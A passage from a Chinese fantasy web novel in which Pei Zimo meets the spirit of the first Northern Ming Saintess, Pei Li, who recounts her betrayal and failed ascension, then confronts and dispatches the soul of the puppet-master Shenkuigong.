白锦夜轻咳了一声,才道,“你说解决完这件事,就跟我在一起。” 裴子墨看了他一会,“眼下,这件事不是还没有解决完么?” 白锦夜看了她半响,又轻轻地叹了一口气,转身出去准备东西了。 等他的身影消失,裴子墨才转身往里面走,推开锦成呆过的那个暗室的门,里面的空间不大,她一把掀开铺着床缛的地方,眼前的石床上,刻着密密麻麻的法阵。 但在石床的中间,不知道为什么,有一条极细的裂缝。 这裂缝的边缘看起来,已经不是短时间内出现的了,而是应该出现很多年了。 她眯眼看了半响,便见到有丝丝的像是白色的雾气从这丝缝隙渗透出来。 但是是很细很细的一丝,而且要隔上半响才会出现这一丝。 这丝白气到了空气就迅速的消散。 原来这里真的有仙气。 裴子墨转头看着外面的阵法,微微眯起眼,站了会,她从外面捡了块石头,用力地砸向石床上的缝隙。 里面的气体向外涌,缝隙越来越大,便再也承受不住,整个石床都一下子炸开。 一团巨大的白气随着石床崩裂的碎石一起涌了出来,直直地撞在裴子墨的身上,把她撞到身后的墙上。 裴子墨眼前一黑,就晕了过去。 等她有意识的时候,便见到自己在一处全是白色雾气的地方,到处都是白茫茫的,她甚至连脚下的地面都看不清,低头也就仅仅能看到自己的膝盖。 她眯着眼,摸索着往前走,走了一段,便见到前方隐隐地有个女子的身影。 女子穿着白色的纱衣,看着有几分仙风道骨的模样。 裴子墨打量着她,“你就是……北冥国的第一任圣女?” 那女子也看着她,听到她这个问题,微微笑了笑,“等了这么多年,没想到倒是等来一个后辈。”她说着目光落在旁边,那里有一个极其虚幻的人影。 裴子墨皱了下眉头,隐约的觉得,那应该不是白锦夜。 女子也很快给了她答案,“哎,吸了我这么多年的灵气,一点反应都没有,真是浪费了。”她说着挥了挥手,虚幻的人影也就散了。 裴子墨便也确定,那是锦成,锦成这些年睡在石床上,那丝若有若无的白气冒出来,他自然是最受益的人,可是……偏偏锦成是“神冥公”的后人,估摸着是这丝气和他自己本身的血脉相冲。 所以他没有感受到这丝气,也没能发挥“神冥公”血脉的能力。 导致他这么多年,在这灵气和血脉的相克之下,只能做一个普通人。 不过……这似乎才是他没有被任何人发现的原因,不然他毕竟不是一直待在有阵法的地下室,偶尔出去找吃的时候,一定会被袁澈或者凌珞发现。 虽然没能直接受益,但好歹也算是保住了这条命。 “这到底是怎么回事?”裴子墨看着她问道。 那女子笑了笑,“先说说,你都听说过什么。” 裴子墨倒也没有隐瞒,把自己所知道的,都讲了一遍。 听完,那女子笑得眼泪都出来了,她抬手擦了擦自己的眼角,“我是为了救自己的孩子才放弃了成仙的机会?他们可真是编的一手好故事。” 她说着看向裴子墨,“那男人背信弃义,我连孩子都没生过,哪来的这种荒谬的传说?” 裴子墨皱了下眉,“可是……据说你确实有后代在世。” “那根本就不是我的孩子。”女子收起了笑容,不过脸上也没什么戾色,“那是他跟别人生的,又怕被人知道后名声尽毁,才说是我的孩子。” “他是谁?”裴子墨又问。 女子抬手一挥,一套木桌椅凭空出现,自己率先坐了下来,单手撑着下巴,看着裴子墨慢慢地道,“神冥公。” 第250章 北冥国第一任圣女——裴黎 裴子墨听到这个名字,微怔了一下,随后走到女子的对面做了下来,“‘神冥公’大概是‘十一公’里面我听到次数最多的了。”她说着顿了下,“刚刚那个虚幻的人影,就是‘神冥公’的后人,你不知道么?” 女子听到这个,眼底闪过一抹惊讶,隔了会才道,“这到底是过去了多少年了,‘神冥公’的后人,都已经泯然众人了?” “你没看出来么?”裴子墨有些诧异,如今她是没办法分辨哪些人是“十一公”的后人,还以为这第一任圣女能有些分辨之法。 女子笑了笑,“‘十一公’大多时候看起来与常人无异,他们的血脉也不会被外人看透,这世上也唯有一个家族的人有这样的能力,就是‘十一公’之一的‘神目公’,只有他们一族才能分辨这血脉,所以在其他人面前隐藏,是件很容易的事。” “这样……”裴子墨皱了下眉头,“那他们本族人之间,能分辨对方是否是自己同一血脉的人么?” 女子依旧摇了摇头,“看样子,很多事传到你们这里,都已经变了味,或者说,更多的东西,根本就没有传下来。我先给你讲讲吧。” 裴子墨点点头,没再说话。 “我叫裴黎,在我那个时候,所有人都是可以修习术法的,每隔一段时间,各个地方的人就会到一起来交流术法心得,那些年,各地术法层出不穷,佼佼者频出,大家都以成仙为目的,希望能到达修习术法一路的巅峰。” “当时,在整个黄州大陆上,所有的修习术法的门派,分为九域十三洲和十二颠。” “九域十三洲和十二颠?”裴子墨皱了下眉,“我倒是听说了九域十三巅。” “哈哈哈。”裴黎笑得声音更大,脸上带着几丝无奈,又继续道,“这十二颠,便是‘十一公’外加圣女一族组成,是整个黄州大陆上,最顶尖的势力。” “那时还没有什么北冥国,北冥国建国,也是很久以后的事了……” 说到这,裴黎收起笑容,像是想起了很久以前的事情,轻轻地叹了一口气,半响才道,“那一年,师父让我出去历练,那会我还年轻,仗着自己的术法早就超出同龄人几个段位,一时托大,受了伤。刚好被外出办事的神冥公凌幽所救,他照料了我些日子,便也因此生情。” “但是当时我们都互相隐瞒了身份,他不知道我是圣女一脉的人,我也不知道他就是那一任的神冥公。” “初代的‘十一公’早已经作古,不过称号却流传下来,谁担任家族的族长,谁就自然继承这称号。” “当时另外十族早就发扬光大,但凌家却子嗣单薄,到了凌幽这一代,甚至就只剩下了他一个人。后来我才知道,他与神傀公的妹妹早有婚约,只不过那姑娘在一次炼制傀儡的时候,被傀儡反击,伤了半边脸,难以复原。” “凌幽听闻,有一种秘法可以让她恢复容貌,他说要让她做最美的新娘子,所以其实他在外办事,其实是在寻找那种秘法。可惜,等我知道这件事的时候,已经太迟了……”裴黎说着笑了笑,“那时候,我已经怀了他的孩子。” “那姑娘找上门来,我才知道,凌幽跟我在一起,其实是早就知道了我的身份,我受伤,也是他所为,目的就是接近我,得到那种秘法。因为那秘法是我们圣女一族用来维持容貌年轻的不传之秘。” “我自然受不了这样的折辱,我杀死了腹中胎儿,离开了凌幽,回到宗门,开始潜心修习术法。” “后来,我听说凌幽虽然没得到秘法,但还是和那姑娘成了亲,大概也是因此,甚至连婚礼都没办,自此之后,我就断了一切跟外面的联系。不知道多少年过去,外面的情况也发生了翻天覆地的变化。” “听说是‘十一公’中有人觉醒了莲花血脉,这莲花需要‘神冥公’一族的血来温养。于是凌幽的儿子便负责开始温养这朵莲花。因此‘神冥公’一族的身价水涨船高,他们也开始不满足于跟其他十族平起平坐,于是他们建立了北冥国。” “从这名字上,你就知道凌幽是一个多么自负的人,当时他居住的地方在黄州大陆的最北端,又因为自己是‘神冥公’,所以就叫北冥国。” 裴黎说到这,轻轻嗤笑了一声,“后来他又找到我,说要让我来做北冥国的圣女,我根本没办法理解他到底在想什么,当即就拒绝了他。他在北边,我也不想见到他,就一直往南走。走到……这里,才停了下来了。” “那时候这里也没什么人烟,我就盖了个茅草庐,继续修习术法。没想到,阴差阳错,我倒是术法有成,摸到了成仙的门槛。” “为了那一天,我准备了很久很久,我对这个世界反正也没什么留恋,能成仙便是我最大的追求。也不知道过了多久,天雷滚滚,仙劫将至。因为早就有准备,我也有极大的把握能够渡过仙劫。” “可没想到……”裴黎说着眯了眯眼,“没想到‘神傀公’却带着他妹妹来了,他妹妹口口声声说什么我于她有夺夫之恨,说如果我成仙了,她这仇去找谁报?” “真是好笑,当初明明我才是受害者,凌幽是为了给她治脸伤才来接近我,我没有跟他们算这笔账,已经算是大度了,他们竟然还敢找上门来。” “我已经在成仙的边缘,他们两个自然不是我的对手,可我不愿意在成仙之前造杀孽,把他们打伤之后,就放他们走了,他们刚走,仙劫就到了。” 裴黎说着摇了摇头,“可我没想到,他们会不死心的去而复返,也是我的一念之仁,才让自己落得如此下场。” “他们本来是想要扰乱我的心神,让我渡劫失败。在我渡劫的时候,又指挥了无数的傀儡来捣乱,还说什么我的孩子在他们手上,我哪有孩子?我不理他们,专心渡劫,前八道仙劫都安然无恙,直到第九道仙劫……” 第251章 一切就是从那个时候开始没落的 裴黎说到这,像是想起了当初的场景,眼底闪过了一抹恐惧。 裴子墨倒也不意外,毕竟她是这世上,唯一一个最接近成仙的人,仙劫到底有多厉害,只有她知道。 没能承受住仙劫的痛苦,也只有她最清楚。 “那时神傀公大概是疯了,他把自己炼成了傀儡,过来试图跟我同归于尽。每一道仙劫,我都准备了一道阵法,阵法可以帮我卸去大部分仙劫的威力,从第八道仙劫结束之后,我就往第九处阵法走,可是神傀公却死死的抓住我。” “他把自己炼制成的傀儡哪有那么容易打发?而且如果仙劫发现有两个人的气息,那威力就会加倍。双倍的第九道仙劫的威力,就算是一个真的神仙大概都扛不住。我只能一边想办法摆脱他,一边往第九处阵法那边走,眼见着距离第九处阵法只有一步之遥,神傀公却自爆了。” “我被他自爆的威力炸飞,同时第九道仙劫也落在我身上,我的身体当即被仙劫劈成了虚无,我也不知道自己是死了还是怎么样,总之身体没有了,魂魄也去不了地府,而且我的术法也都还在。我若是化成虚无,或者术法全无,那也没办法了,可既然术法还在,神傀公兄妹如此害我,我自然也不会放过他们。” 裴子墨这下大概明白了,“所以外面的那个阵法,其实是镇压神傀公兄妹的魂魄的?” “镇压?”裴黎轻笑一声,“只是镇压不是太便宜他们了么?我要让他们尝尽这世上的痛苦。” “可是,你的术法已经接近成仙,那这世上还有什么人能把你镇压在这?”裴子墨又问道。 裴黎拧眉想了一会,没有回答这个问题,反而道,“神傀公兄妹失踪,自然惹得不少人四处寻找,但我不想让他们找到,他们自然也找不到。不过他们找了一段时间之后,就放弃了,之后,很久都没再见到过那边的人过来。” “我在魂魄状态下,也没办法再修炼术法,日子漫长无事可做,就只剩下折磨神傀公兄妹的魂魄来聊以度日。” “又不知道过了多久,突然有一天,风云变色,明明是中午,可是天却完全黑了下来。我知道,但凡这样的异象,就一定是有极大的事情发生。我想去查看,可却发现我的术法全都消失了。” “我当时甚至不知道到底是世界变了样,还是我的魂魄终于去了该去的地方。这样全黑的景象持续了很长时间,看不见日出日落,但大概估算,也起码有五六天。等天慢慢亮起来的时候,我的术法又恢复了。” “可因为那段时间,我的术法消失,对神傀公兄妹的禁锢也就一起消失了,天亮以后,我也不知道他们的魂魄跑去哪了。” “但既然是天意如此,我也懒得再去找他们,反正这么多年,他们受的折磨也足够了。过了几日,我遇到了一个人,我从他身上感受到一丝熟悉的气息,就拦了他询问。” “才知道,神傀公兄妹失踪之后,他们十一个家族之间,发生了一次极大的争执,这争执持续了很长时间,甚至互相之间还动了手。十一个家族分崩离析,甚至某些家族自己也分裂成几股势力。” “只不过这争执到底是因为什么,就没人知道了,而且那场黑暗之后,在往那边去的路上,就出现了一片巨大的沙漠,几乎没人能越过那片沙漠。我拦住的这个人,也是在那黑暗之前出来办事,可现在却回不去了。” “我也去查看了那沙漠,沙漠上不过是一个阵法套着一个阵法,阵法太多,稍有不小心,就会陷入阵法之中,即便逃脱了一个,后面还有一连串的阵法等着。在我眼里,那些阵法都已经不算什么了,可是能在几天之间,创造这么大一片沙漠,并且能布置出这么多阵法的人,绝对不简单。” “其实那沙漠里的阵法每一个拆出来来,也不算多精妙,它唯一的精妙之处,就是所有的阵法都是套在一起的。” “我肯定是做不到的,即便我是一个差一步就可以成仙的人,那么能做到这点的,恐怕也就只有真正的仙人了。” “那沙漠也不算是完全隔绝沙漠两端,里面其实是有一条路可以进出的。只不过就算走那条也要很小心,但凡一个不小心,大部分人都会交代在里面。” “我穿过沙漠之后,回到了原来我们修习术法的地方,但是十二颠里‘十一公’的人全都不见了,我问了人,他们说那场黑暗之后,那些人就都不见了,唯一剩下的,就是建立北冥国的‘神冥公’一脉,但也不是全部的人。” “我去找了当时的北冥国国君,他同样不知道其他人都去哪了,总之就像是一夜之间,全都消失了。” 裴黎说着叹了口气,“也许,一切就是从那个时候开始没落的。” “圣女一脉,人数本来就少,其他十一颠的人失踪之后,她们大概也不知道何去何从,再加上当时的国君一直在邀请他们,毕竟即便我拒绝了,但是北冥国一直都把我当成他们的第一任圣女,所以圣女一脉也就接受了北冥国国君的邀请,从此仅剩的两股势力,支撑起了北冥国。” “我在那里转了些日子,也找不到什么蛛丝马迹,于是就又回了这里。日子太过无聊,我就沉睡了过去。等我再醒来,就发现上面多了阵法。那阵法除了禁锢我不让我到处乱走,其他的倒也没什么。” “我试过很多次想要冲击开,但也就只冲开那一个缝隙。这么多年,都没有人来过这里,直到……那个神冥公的后人出现。” “所以,这里都是仙气了?”裴子墨看着周围的白色雾气开口问道。 “仙气?”裴黎笑了笑,“我不知道,反正这些年我在这里也无聊,摆弄些阵法,随便搞点东西出来,一开始也是没有这些白雾的,它们一点点出现,越来越浓,说实话,我也不知道是什么。”她说着抬起手,虚空抓了一把,一团白色的雾气被她抓在手心,“如果说这是仙气,那我岂不是已经成仙了?” 第252章 正统 裴黎都想不明白的事,裴子墨自然也不可能知道答案,不过对于“十一公”的那次争执,她大概是了解一些的,于是就把莲花血脉和血莲的事情给裴黎讲了一遍。 “哦?”裴黎挑了挑眉,“他们在弄这个?怪不得。不过这件事,你们恐怕也是知其然,不知其所以然了。” 她说着拉开自己的衣领,在她的肩头,竟然有两朵已经完全盛开的血莲。 裴子墨诧异地看着她,“你……你那个时候就已经有血莲了?那他们后来那些到底是在做什么?” “圣女一脉之所以能跟‘十一公’一起同为十二颠的势力之一,就是因为圣女一脉本身的血脉也不普通。这血莲其实跟他们‘十一公’觉醒的莲花血脉也有一丝关系。你说的也没错,当初是九天玄女给了他们两颗莲花种子,但那两颗种子,本身就是圣女一脉的莲花种子。” “那种子本来只适合圣女一脉的血脉,是九天玄女把种子重新精炼后,交给他们的,不过就是些强身健体的功效,跟血莲本身早就已经没办法相比了。”裴黎说着叹了口气,“只是没想到,传了这么多年,倒是把他们这个传成了正统,正统的反倒成了妖莲。” “那么他们说的,后来有个人身上的血莲养成了,嗜血嗜杀,没有自己的意识,需要华精玉才能唤醒意识,那又是怎么回事?”裴子墨拧起眉头。 裴黎微微摇了摇头,“这我就不太清楚了,但如果他们那次争执是为了那个没有意识的血莲,并且当时那个血莲已经被他们镇压在北冥国,这些都发生在那次黑暗之前,我再回去的时候,应该能感受到那个血莲的气息,但我并没有。” “这种气息很独特的,就像你一进来,我就知道你是圣女的传人,你身上有血莲。虽然你身上的血莲还没开始养,气息微弱,但即便是一颗种子,我也能感受到,那个血莲如果已经养成了,那么强大的气息我肯定能感受到才对。” 裴子墨叹了口气,这圣女的传承,还真是能丢的全丢了,到她这里,甚至都不知道血莲的气息是什么了,“那你知道北冥国有一片莲池么?他们说那处莲池的下面,就是镇压那个血莲的地方,以前那里没有莲池,是镇压她之后,才逐渐长出来的。” “这就更不可能了。”裴黎摇了摇头,“我知道那处莲池,我去看过,那莲池应该是从十二颠圣女居所搬过来的,连池子的模样都没改变。” 裴子墨看着裴黎,这一次,她心里的问题,甚至都不知道从何问起了,又想了好一会,她才开口问道,“那你知道华精玉么?” “听说过。”说完裴黎又笑了笑,“不过我听说的和你也不太一样,那东西是温养魂魄的,跟唤醒意识可没什么关系。传说魂魄到了地府之后,若是魂魄不全,或者是有所损伤,再投胎的话,要么去畜生道,要么生出来就是傻子。可是有些人福报很深,那就会先把他们的魂魄送到华精玉山上去休养。” “等他们的魂魄休养好了,再按照他们的福报,安排他们去投胎。这华精玉只能从华精玉山上采,华精玉山又在地府,能拿到的可能性微乎其微。不过……‘神冥公’一脉游走阴阳两界,若是真的拿到了也不稀奇。” 裴子墨正要再说话,就听到模模糊糊的,有人呼唤她的声音。 “有人找你了。”裴黎看着她笑道,说完抬手挥了下,锁魂玉笛就从裴子墨的袖口飞出来。 这锁魂玉笛本来在裴清歌的身上,她死后被白锦夜拿走,确认了裴子墨的身份之后,白锦夜便又把这玉笛给了她。 裴黎把锁魂玉笛拿在手里把玩,“真的是好多年没见过这东西了,没想到你们现在还在用这东西。” 裴子墨微微皱了下眉,“我以前被告知,这锁魂玉笛是圣女的传承之物,当时我师父传给我的那个,已经破损了,而且掉落山崖不见了,但后来我又得到了一个完好的锁魂玉笛。” “所以,你们大概也不知道这东西到底怎么用。”裴黎无奈地道,“这东西,当年圣女一脉,可是人手一个的。” 裴子墨脸色微微尴尬,也就是说,这锁魂玉笛在裴黎的年代,根本不是什么稀罕物。 裴黎把玩了会,手指微微顿了下,拿着锁魂石看了半响,脸色微微凝重了下,用指甲弹了弹锁魂石。 一道精魄突然从锁魂石上飞出来,落在地上,是一个五大三粗的汉子。 他有些茫然地看着周围,最后目光落在裴黎的身上,赶紧跪下,“主人。” 裴黎轻笑一声,随手一抓,又把这精魄塞回了锁魂石。 “原来这个锁魂玉笛是你的?”裴子墨看到这一幕,自然明白了。 “渡仙劫的时候就遗落了,没想到倒是有缘,落进你手里。这精魄是锁魂石精,这世上也大概就只有我这一颗锁魂石成了精。”裴黎捋了捋锁魂石上的流苏道。 “现在也算是物归原主了。”裴子墨开口道,怪不得这东西会在天风国,当初裴黎遗落之后,不知道被谁捡走了,这么多年就在这里代代相传,再后来辗转落到了张太妃的手上。 “我要这个干什么?”裴黎摇头道,“既然落在你手上,那也是有缘,我只是见你身上只有这东西适合附身。” 裴子墨微微挑了下眉,“你打算离开这?” “是啊,既然刚好是你来了,你又有这么多不懂,我身为前辈,多教导教导你,也没什么不对。况且……”裴黎说着眯了眯眼,“我们俩这中间,还有些环节对不上,也得找找答案不是么?最起码我也得知道,是谁把我封印在这的。” 裴子墨点了点头,还没等再说话,就一阵天旋地转,再一睁眼,就见到白锦夜一脸紧张地看着她。 “你终于醒了。”白锦夜提着的这口气终于放了下来,死死都握住裴子墨的手,“你真的吓死我了。” 第253章 锁魂咒 裴子墨四下看了一圈,已经不是在昭纯宫的那个地下密室了,“我没事。” 白锦夜当然知道她没事。 他吩咐人去准备东西回来,就见到裴子墨躺在暗室的地上,暗室里像是爆炸过,一片狼藉。 他当时有那么一刻,真的腿都软了。 等他回过神来,赶紧上前检查裴子墨的情况,这才发现她的气息全都正常,身体也没有什么异样。 他不知道裴子墨做了什么,但是大概也能猜出来,跟眼前已经碎裂的石床有关系。 他叫了半响,也没把她叫醒,只好先从暗室出来,找个地方安顿,等她醒过来。 “我破了个阵法,不小心被震晕了。”裴子墨坐起来,“问题不是出在昭纯宫,恐怕咱们得出去找原因了。” 白锦夜点点头,握着她的手也没有放开,“下次你要做什么,一定要提前跟我说,就算要破什么阵法,也可以等我回来再破。” 裴子墨笑了笑,没有接这句话,从床上下来,开口道,“得抓紧时间了,我之前以为在宫中,只要解决了,就没问题了,可是现在问题不出在这里,还要找到源头,事情就麻烦了。” 白锦夜也站起来,跟着裴子墨往外面走。 出宫的这一路,裴黎一直都没有说话,但是出了宫门,她就发现了什么,跟裴子墨道,“往西走。” 裴子墨应了一声。 “你在跟我说话?”白锦夜转头看她。 裴子墨这才意识到裴黎的话他好像听不见,便轻咳了一声,“跟我走吧。” 萧尺寒也还没离开,见两个人要出去,便也一起跟了上来。 一直往西走,出了城,按照裴黎说的继续往前走,走到山下的时候,裴子墨抬眼看着面前的山,开口道,“我好像知道了。” 这里很熟悉,就是当初解决萧家劫煞蜮的那片山上,如果还要继续往前走,那问题大概就出现劫煞蜮的身上。 她转头看了看白锦夜,白锦夜也点了点头。 两个人都没说出来,不过萧尺寒却开了口,“是……劫煞蜮么?”说到这个,他脸色都变了,“不会是当初的那些煞气蔓延出来了吧?” 如果要真的是因为这个,那岂不是说这些煞气最根本的源头是他? 造成京城眼下这个状况的,也是他了? “这空气中的不是煞气。”裴子墨说了句便加快了脚步。 到了藏煞地,这里怨气的浓郁程度甚至已经有些辣眼睛了。 裴子墨从袖口摸出一道符咒,甩出去后,微微驱散了些怨气,走到近前,便见到当初那个玉坛炸开之后,碎片还散落在地上。 只不过当时他们离开的时候,也没有查看过这玉坛的碎片。 裴子墨弯腰捡起一小块碎片,这才发现在玉坛的内壁上还刻着一些阵法。 但是这小小的一片,看不出来到底是什么阵法,于是便让白锦夜和萧尺寒一起把附近的玉坛碎片都捡回来。 虽然短时间没办法找全,而且小的碎片也没办法拼凑,但是有几块连在的一起,还是能看出是什么了。 “锁魂咒。”裴子墨皱起眉头,“当时太大意了,这玉坛根本不仅仅是劫煞蜮。上层劫煞蜮,可是在坛子的下半层,还镇压着一个魂魄,这玉坛里面的锁魂咒把魂魄锁在里面,可玉坛碎裂之后,它就跑出来了。” 她说着四下看着,脸上也充满了警惕,当初玉坛碎裂的那一刻,她没有感觉到有魂魄的气息,只能证明那个魂魄的术法在她之上。 那魂魄大概也知道会发生什么,所以在玉坛碎裂的时候,就直接隐匿了自己的气息。 她把手里的碎片扔在地上,拉着白锦夜和萧尺寒往后退了几步,“小心,这魂魄……” 她话还没说完,直觉就感到一丝危险。 在这点上,白锦夜比她更为敏锐,下意识地横跨了一步挡在她身前。 只不过却并没有任何攻击到来,便听到前方的空气里传来闷哼一声。 裴黎的虚影出现在几人身前,“呵,多年不见,原来你被人锁在了一个玉坛里,怨气这么大,心里确实憋屈呢。” 大概是仇人相见,分外眼红。 眼前的怨气开始聚拢,像是形成了一个漩涡。 裴黎也只是抱着肩膀冷眼看着,没有出手打断。 片刻后,黑色的怨气逐渐凝结成实质,一个黑色的人形出现在几个人面前。 随着怨气逐渐聚拢,他的五官以及身上的衣服也逐渐清晰起来。 像是太多年没有说过话,他看着裴黎先是张嘴吼了一声,才开了口,“裴黎!你的魂魄还没散!” “你这种人的魂魄都还在苟延残喘,我怎么敢先散了魂魄?”裴黎说着轻笑一声,也根本不把面前的人放在眼里,只是转头看向裴子墨,“来,给你介绍一下,这就是当年的那个神傀公,魂魄从我手上跑了,我还以为能有什么出息,没想到被人封在一个小小的坛子里。” 裴子墨也解释了一句,“这坛子,我还以为是劫煞蜮,就放在这藏煞地,把煞气散了。” “劫煞蜮?”裴黎听到这个,“哈哈”大笑起来,笑够了才看着对面已经气得不行的神傀公说道,“这世间有时候会因为一些缘故,自然产生一些蜮,不过需要凑齐很多因素,所以天然形成其实很难,以致于这世上天然形成的蜮很少。” “可他们神傀公一族,就偏偏喜欢养蜮。”她说着看向对面,“你好歹当过一任神傀公,可没想到却被劫煞蜮压在下面,这得是压了多少年啊?” “这么多年不见,你还是那么让人……想要杀了你解恨。”神傀公说着就要冲过来。 裴黎却看也不看,只是简简单单的一挥手,神傀公的身形就被定在原地,“当年你们就不能伤我分毫,逼得自己都自爆了,怎么,这么多年过去,以为自己就是我的对手了?” 神傀公不说话,只是不断的把怨气收回来,以壮大自己的实力。 裴子墨四下看了看,按照他这样的速度,应该很快就会把外面散出去的怨气收回来,之后如果被裴黎解决掉,这次的事情就该没事了。 第254章 明明是自己背信弃义,还要装成情圣? 神傀公做的事,在裴黎的眼里,也不过就是负隅顽抗。 只不过他自己愿意把怨气收回来,也省得她再去解决,于是就耐心地等着神傀公,等怨气收的差不多了,裴黎才开口随意地问道,“只有你一个人在这?你妹妹呢?” “你还有脸提她!”说到这个,神傀公已经是目眦欲裂,一下次就冲破了束缚,朝着裴黎冲过来。 裴黎根本不急,就像是猫玩老鼠一样,慢慢地消耗他的精力。 看着眼前的两个人,白锦夜对着裴清歌低声问道,“这个人……也姓裴,跟你有关系?” “你还记得,昭纯宫地下的那个阵法,镇压的是谁么?”裴子墨转头看向他问道。 白锦夜微微瞪大了眼睛,“北冥国第一任圣女?即将成仙的那个?” 裴子墨点了点头,“不过这件事有点复杂。”随即她也就简单的把当初裴黎渡劫的时候的事情说了一遍。 “原来是这样么?”白锦夜低声道。 说着话,裴黎和神傀公两个人已经有了结果,神傀公的攻击是靠怨气,这一会已经被裴黎消磨得差不多了,最后被裴黎以术法困在地上,再也动不了了。 神傀公对这样的结果似乎也不意外,他狠狠地瞪着裴黎,“你要杀要剐就快一点,别婆婆妈妈的妇人之仁。” “妇人之仁?我本来就是妇人啊。”裴黎看着他,“但听你这语气,我大概明白,你是不想再落在我手上,不想被我禁锢,怎么,害怕了?” 神傀公怔了下,多年前被裴黎禁锢折磨的场景重新浮上脑海,即便是过了这么多年,他也没办法忘记那种印在灵魂深处的痛,他冷哼了一声,“是我们害你不能成仙,但是因果循环,若不是你和凌幽先对不起我妹妹在先,也不至如此。” 裴黎眯了眯眼,“当初你妹妹找上来的时候,我就说过我不知情,并且我已经离开了,你们想要讨个说法,去找凌幽,一味缠着我做什么?” “骗谁呢?凌幽做的事,你当真不知情么?”神傀公嗤笑一声。 裴黎微微摇了摇头,“既然你这么冥顽不灵,我也懒得跟你多说,过了这么多年,当年的事我也不想计较了,这就送你去地府轮回吧。” “等一下。”神傀公说着仔细打量着裴黎,“你当真什么都不知道?” “你要说便说,不说就走。”裴黎说着也举起了手。 神傀公思索了会,才道,“当年我妹妹找上你之后,你不告而别,凌幽到处找你,此后又得知你把腹中胎儿杀死,他整个人魔障了一样,在地府到处找那胎儿的魂魄。” 裴子墨闻言微微抿了下唇,转头看了白锦夜一样,他们神冥公一脉,还真是……做事的方法都没变过。 “但胎儿尚未成型,魂魄自然也不全,只能靠华精玉温养。好在当年第一任神冥公曾从地府带回过一块华精玉,他便用华精玉温养那胎儿的魂魄。”神傀公说着顿了下,“后来,因为我妹妹一直跟着他,家里面也在催他们的婚事,有一日他把我妹妹迷晕……那日之后,我妹妹就怀孕了。” “当初我们还都以为那个孩子是他的,可后来才知道,孩子并不是!他只是想要一个怀了孕的人,把胎儿原本的魂魄打碎,把你和他的孩子的魂魄塞进去!” “我妹妹细心照料那孩子,到后来才知道,她也不过是在替你们养孩子而已!” 裴黎拧起眉,“这么说,你妹妹来找我的时候,说凌幽接近我只是为了我们圣女一族的秘法,是骗我的了?” 神傀公没有说话。 裴黎眯了眯眼,侧身看向远处,想明白了什么,有些无奈地轻笑了一声,“你妹妹早就知道他不喜欢自己,但为了嫁给她,还是骗了我,又苦苦纠缠,有这样的后果,那也该自己受着,你们竟把这些都怪到我头上?” “所以凌幽根本就没有跟你妹妹办婚礼,也从不承认跟你妹妹之间的婚事……”她低声喃喃地道,像是在跟神傀公说话,又像是在自言自语,“他说我们的孩子还在,可我也没有相信他……” “他把北冥国圣女的位置留给你,甚至定了规矩,每一任的北冥国国君,娶妻必须从圣女一族里选。”神傀公冷笑,“他和我妹妹的婚约,是两个人一小就定下的,明明是自己背信弃义,还要装成情圣?” “背信弃义……”裴黎垂下眼,她最后一次见到凌幽的时候,也是这样说他的,她不相信他的话,拒绝做北冥国圣女,也让他不要再出现在她面前,她原话怎么说的来的?她说—— 只要再让我看见你,我就立刻自尽,散了魂魄。 沉默了半响,裴黎才转头看向神傀公,“所以,因为你妹妹还喜欢着凌幽,不想去找他的麻烦,你们就来找我?” “你走之后,凌幽常年游走在阴阳两界,把自己搞得人不像人,鬼不像鬼,有什么必要找他的麻烦?可你……你也是这一切始作俑者,你为什么还能成仙?”神傀公说着目光里的怨恨更加浓郁,像是淬了毒,“我们就算是死,都绝对不会让你成仙!” “那孩子呢?那个孩子呢?”裴黎又问。 神傀公嗤笑,“当初我们跟你说,你不信,过了这么多年,你的孩子怎么可能还活着?死了都不知道投胎多少次了。” “也是。”裴黎点点头,吸了口气,敛去了所有的情绪,“那你也去投胎吧,不过……你也不配做个人了。” 说着她散了神傀公的一魂一魄,开了路引,把表情变得有些呆滞的神傀公送进了鬼门关。 没有这一魂一魄,他也就只能进畜生道了,况且,他生前炼了那么多傀儡,神傀公一脉又养蜮,都是损阴德的事,不可能有什么福报。 裴子墨听了这些,大概明白了什么,所以当年的神冥公凌幽是真心想要跟裴黎在一起的,只可惜……她抿了抿唇,上前一步正要说什么,便见裴黎的身形一闪,回了锁魂玉笛里。 她只能轻轻地叹了一口气,转头往山下看去,“这怨气在慢慢的散了,但这个劫煞蜮下面另有玄机,我们也得再检查一下那另外八处阵法了。” 她这话音落下,就听裴黎开口道,“先别去。” 第255章 他如果也成了冥尸呢? 听到这个,裴子墨微皱了下眉头,可是她再问为什么,裴黎也不说话了,她只好作罢,先和白锦夜、萧尺寒一起下山给被怨气所伤的百姓发药。 晚上的时候,其他人都睡了,裴子墨隐约地感觉到了什么,从房间走出来,便见到裴黎的虚影坐在房顶上看月亮。 她也跃上了房顶,走到她旁边坐下来,“今天神傀公的话……” “我当时,年轻气盛。”裴黎依旧看着月亮,打断了裴子墨的话,“又心高气傲,就算再给我一次机会,我大概还是会做同样的选择。在这一切发生之前,其实凌幽应该有很多次机会把事情的原委告诉我,但是他没有,等事情都发生了,再怎么样……大概也没什么余地了。” 裴子墨微微抿了抿唇,没有说话。 沉默了会,裴黎才转头看她,“今天那个男子,在感觉到危险的时候,就立刻护住了你,应该是喜欢你的吧?”她说着笑了笑,“当年凌幽也这样,有时候其实也算不上什么危险,他都会挡在我身前。” 裴子墨轻轻点了下头,“但是我之前,也有很多事瞒了他骗了他,好在……他甚至不需要我给他什么解释,就愿意继续相信我。” 裴黎的表情微微僵了一瞬,又收回目光继续看向月亮,“所以你的意思是,我当时可能也没有那么喜欢凌幽?”说完,她也没有等裴子墨的回答,就继续道,“也许吧,我当时不是也隐瞒了我圣女一族的身份么?以为自己被骗之后,第一时间就是想自己以后该怎么办,我总不能一个人带着孩子回圣女一族。” “我完全没有想过去找凌幽求证,更没想过我离开、我杀了孩子以后,他会怎么样。” 裴子墨犹豫了下,才道,“不过,如果他真的喜欢你,说不定还在哪里等你,他们神冥公一族可以游走阴阳二界,他应该知道你还没有去地府,说不定……” 裴黎摇了摇头,像是不想再提这件事,打断裴子墨的话,也转移了话题,“今日我见到神傀公的时候,他的怨气这么浓,想必当初从我那离开之后,又遭遇了什么。他向来宠爱他妹妹,他妹妹如果没有跟他一起被囚禁,那我猜他被囚禁之前,他妹妹的魂魄很可能已经被人打散了。” “不然玉坛打碎之后,他应该会想要去找他妹妹,所以他是亲眼看着他妹妹魂飞魄散,怨气才会成倍的增长。封印住他的人,跟封住我的人,很可能是同一个人,另外八处阵法如果也是同一手笔,那大概也都有同样的魂魄被镇压。” 